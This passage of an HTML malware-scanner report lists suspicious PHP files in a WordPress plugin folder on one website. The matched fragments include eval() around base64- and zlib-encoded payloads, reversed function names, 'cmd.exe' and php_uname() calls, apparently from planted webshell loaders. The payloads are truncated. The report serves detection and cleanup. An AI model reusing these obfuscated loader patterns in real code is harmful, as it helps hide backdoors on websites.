</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_318").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/bqtmg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 15:38:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 15:38:31</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_319" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_319").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/kmhux.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 15:38:32</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 15:38:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_320" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_320").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/cqtwwinp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:56:10</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:56:10</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_321" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_321").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/gqqrpxzg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 06:43:20</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 06:43:20</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_322" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_322").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/etcygckk.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 21:05:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 21:05:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_323" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_323").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/ntyhbpsh.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 06:43:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 06:43:23</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_324" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_324").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-22 19:47:14</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-22 19:47:14</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_325" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
